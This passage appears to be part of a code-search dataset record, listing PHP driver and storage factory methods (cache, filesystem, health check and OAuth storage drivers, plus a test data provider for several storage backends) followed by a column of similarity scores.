StoreContract\n {\n return $this->createCacheBased('memcache');\n }", "public function create($storage = null)\n {\n $storage = $storage ?: $this->getStorageDisk();\n\n return new FileHandler(\n $this->makeStorage($storage),\n $this->makeProcessor()\n );\n }", "abstract protected function getDriver();", "public function storageClass()\n {\n return 'OAuth2_Storage_Pdo';\n }", "public function create() {\n\t\t$implementationClassName = 'Imagine\\\\' . $this->settings['driver'] . '\\Imagine';\n\t\treturn new $implementationClassName();\n\t}", "public function driver($driver = null);", "public function driver($driver = null);", "public function driver($driver = null);", "public function get_driver($driver_name) {\n\n\n\n\t\tif (isset($this->drivers[$driver_name])) {\n\n\t\t\t// var_dump($this->drivers[$driver_name]['path'], file_exists($this->drivers[$driver_name]['path']));\n\t\t\t// die();\n\n\t\t\trequire_once $this->drivers[$driver_name]['path'];\n\n\n\n\t\t\t$driver = new $this->drivers[$driver_name]['class'];\n\t\t\t$driver->name = $driver_name;\n\n\t\t\treturn $driver;\n\n\t\t}\n\n\t}", "protected function getDriver() {}", "protected function createNullDriver()\n {\n return $this->repository(new NullStore);\n }", "public function createDatabaseDriver()\n {\n return new DatabaseHealthCheck;\n }", "protected function getCloudDriver()\r\n\t{\r\n\t\treturn $this->royalcms['config']['filesystems.cloud'];\r\n\t}", "public function createFilesystemDriver()\n {\n return new FilesystemHealthCheck;\n }", "protected function createPredisDriver(): StoreContract\n {\n return $this->createCacheBased('predis');\n }", "public function createGoogleDriver()\n {\n return \\App::make('GoogleProvider');\n }", "public function provideStorageFactories()\n {\n $cases = [\n [function () {\n return new SingleProcessStorage();\n }],\n [function () {\n return new SessionStorage(\"test\");\n }],\n\n [function () {\n vfsStream::setup('fileStorage');\n return new FileStorage(vfsStream::url(\"fileStorage/data\"));\n }],\n\n [function () {\n $pdo = new \\PDO(\"sqlite::memory:\");\n $pdo->setAttribute(\\PDO::ATTR_ERRMODE, \\PDO::ERRMODE_EXCEPTION);\n return new PDOStorage(\"test\", $pdo);\n }],\n\n [function () {\n return new IPCStorage(ftok(__FILE__, \"a\"));\n }],\n ];\n \n if (getenv(\"MYSQL_DSN\")) {\n $cases[] = [function () {\n $pdo = new \\PDO(getenv(\"MYSQL_DSN\"), getenv(\"MYSQL_USER\"));\n $pdo->setAttribute(\\PDO::ATTR_ERRMODE, \\PDO::ERRMODE_EXCEPTION);\n $pdo->setAttribute(\\PDO::ATTR_AUTOCOMMIT, false);\n return new PDOStorage(\"test\", $pdo);\n }];\n }\n if (getenv(\"PGSQL_DSN\")) {\n $cases[] = [function () {\n $pdo = new \\PDO(getenv(\"PGSQL_DSN\"), getenv(\"PGSQL_USER\"));\n $pdo->setAttribute(\\PDO::ATTR_ERRMODE, \\PDO::ERRMODE_EXCEPTION);\n return new PDOStorage(\"test\", $pdo);\n }];\n }\n if (getenv(\"MEMCACHE_HOST\")) {\n if (version_compare(PHP_VERSION, '7', \"<\")) {\n $cases[] = [function () {\n $memcache = new \\Memcache();\n $memcache->connect(getenv(\"MEMCACHE_HOST\"));\n return new MemcacheStorage(\"test\", $memcache);\n }];\n }\n $cases[] = [function () {\n $memcached = new \\Memcached();\n $memcached->addServer(getenv(\"MEMCACHE_HOST\"), 11211);\n return new MemcachedStorage(\"test\", $memcached);\n }];\n }\n if (getenv(\"REDIS_URI\")) {\n $cases[\"PHPRedisStorage\"] = [function () {\n $uri = parse_url(getenv(\"REDIS_URI\"));\n $redis = new Redis();\n $redis->connect($uri[\"host\"]);\n return new PHPRedisStorage(\"test\", $redis);\n }];\n\n $cases[\"PredisStorage\"] = [function () {\n $redis = new Client(getenv(\"REDIS_URI\"));\n return new PredisStorage(\"test\", $redis);\n }];\n }\n return $cases;\n }" ]
[ "0.65216744", "0.6512651", "0.61988866", "0.6092631", "0.6028591", "0.60097754", "0.6004605", "0.59156525", "0.5804574", "0.571667", "0.5672056", "0.56684047", "0.5652405", "0.5646042", "0.5620654", "0.55727375", "0.5569895", "0.5568055", "0.5560162", "0.5556846", "0.5540338", "0.5501", "0.5475521", "0.54549545", "0.5446083", "0.5440217", "0.5439458", "0.5439301", "0.54340005", "0.5426068", "0.54179484", "0.54115826", "0.5397978", "0.53844625", "0.5377892", "0.5362804", "0.5362695", "0.53523487", "0.5331601", "0.53072214", "0.52206403", "0.52159536", "0.5214096", "0.5195584", "0.5187963", "0.5186362", "0.5185672", "0.5181181", "0.5172186", "0.51663727", "0.5163569", "0.5163569", "0.5155255", "0.51484907", "0.51406", "0.5124592", "0.512223", "0.512223", "0.5115909", "0.51066226", "0.509545", "0.5076312", "0.50760895", "0.50703746", "0.5032822", "0.50207365", "0.50125015", "0.50051695", "0.5003752", "0.50021696", "0.49977297", "0.4996539", "0.49896774", "0.49861628", "0.49716178", "0.4957439", "0.49549857", "0.49525294", "0.49483326", "0.4946875", "0.4933373", "0.4931379", "0.49259147", "0.4907751", "0.48998022", "0.48926425", "0.48926264", "0.48924515", "0.48881915", "0.48881915", "0.48881915", "0.48855782", "0.48844457", "0.4882008", "0.48778385", "0.4875466", "0.48670563", "0.48592442", "0.4846086", "0.48453468" ]
0.6388817
2